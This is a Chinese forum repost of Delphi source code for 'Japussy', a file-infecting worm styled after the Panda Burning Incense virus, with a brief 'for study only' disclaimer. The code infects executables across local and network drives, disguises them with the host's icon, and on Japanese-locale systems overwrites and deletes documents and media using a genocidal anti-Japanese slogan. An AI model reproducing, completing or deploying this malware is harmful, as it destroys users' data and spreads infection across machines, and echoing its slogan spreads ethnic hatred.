熊猫烧香核心源码(Delphi模仿版本)-Delphi-优质IT资源分享社区

yutingzhinan
论坛版主
论坛版主
  • UID9
  • 粉丝1
  • 关注0
  • 发帖数36
阅读:126回复:0

熊猫烧香核心源码(Delphi模仿版本)

楼主#
更多 发布于:2016-06-17 23:31
 这篇文章来自互联网,仅供学习和研讨运用,结果自行担任,形成的任何损失与本站无关,特此声明。
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的巨细
IconOffset = $12EB8; //PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的巨细,其它版别的Delphi也许不一样
//查找2800000020的十六进制字符串能够找到主图标的偏移量
{
HeaderSize = 38912; //Upx紧缩过病毒体的巨细
IconOffset = $92BC; //Upx紧缩过PE文件主图标的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的巨细--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //传染符号
//垃圾码,以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统符号
{ 判断是不是为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已传染的PE文件中分离出来,以备运用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or
fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //越过头部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄情愿完结之?
end;
{ 传染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被运用,退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自个则不传染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //查看PE文件头
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE符号
begin
IsPE := True; //是PE文件
Break;
end;
end;
// 这篇文章转自 C++Builder 研讨 -
http://www.ccrun.com/article.asp?i=1009&d=72ladj
SrcStream.Seek(-4, soFromEnd); //查看传染符号
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不传染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //假如传染过了或不是PE文件则退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被传染文件的主图标(744字节),存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//头文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or
fmShareDenyNone);
try
//写入病毒体主图标之前的数据
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//写入目前程序的主图标
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//写入病毒体主图标到病毒体尾部之间的数据
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize -
IconTail);
//写入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//写入已传染的符号
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //更换宿主文件
DstStream.Free;
end;
except;
end;
end;
{ 将方针文件写入垃圾码后删去 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只读特点
FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
try
Size := GetFileSize(FileHandle, nil); //文件巨细
i := 0;
Randomize;
Max := Random(15); //写入垃圾码的随机次数
if Max < 5 then
Max := 5;
Mass := Size div Max; //每个距离块的巨细
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//写入垃圾码,将文件完全破坏掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //关闭文件
end;
DeleteFile(PChar(FileName)); //删去之
except
end;
end;
{ 取得可写的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
D := Chr(i + 65);
Str := D + ':';
DiskType := GetDriveType(PChar(Str));
//得到本地磁盘和网络盘
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍历目录,传染和炸毁文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //不是目录
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目录
else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整音讯队列,防止导致置疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //传染可执行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//传染HTML和ASP文件,将Base64编码后的病毒写入
//传染阅读此页面的一切用户
//哪位大兄弟情愿完结之?
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//获取Outlook邮件地址
end
else if Ext = '.ADC' then //Foxmail地址自动完结文件
begin
//获取Foxmail邮件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//获取Foxmail邮件地址
end
else
begin
if IsJap then //是倭文操作系统
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //炸毁文件
end;
end;
end;
//传染或删去一个文件后睡觉200毫秒,防止CPU占用率过高导致置疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上一切的文件 }
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList + ':', '*.*'); //传染之
SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡觉5分钟
end;
end;
{ 主程序开端 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为效劳进程
else //WinNT
begin
//长途线程映射到Explorer进程
//哪位兄台情愿完结之?
end;
//假如是初始病毒体自个
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //传染和发邮件
else //已寄生于宿主程序上了,开端作业
begin
TmpFile := ParamStr(0); //创立临时文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真实的宿主文件,多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //创立新进程运转之
InfectFiles; //传染和发邮件
end;
end.





优质IT资源分享社区为你提供此文。
本站有大量优质Delphi教程视频,资料等资源,包含Delphi基础教程,高级进阶教程等等,教程视频资源涵盖传智播客,极客学院,达内,北大青鸟,猎豹网校等等IT职业培训机构的培训教学视频,价值巨大。欢迎点击下方链接查看。
Delphi教程视频
优质IT资源分享社区(www.itziyuan.top)
一个免费,自由,开放,共享,平等,互助的优质IT资源分享网站。
专注免费分享各大IT培训机构最新培训教学视频,为你的IT学习助力!

!!!回帖受限制请看点击这里!!!
!!!资源失效请在此版块发帖说明!!!

[PS:按 CTRL+D收藏本站网址~]


微信小程序开发

——“优质IT资源分享社区”管理员专用签名~

本版相似帖子

游客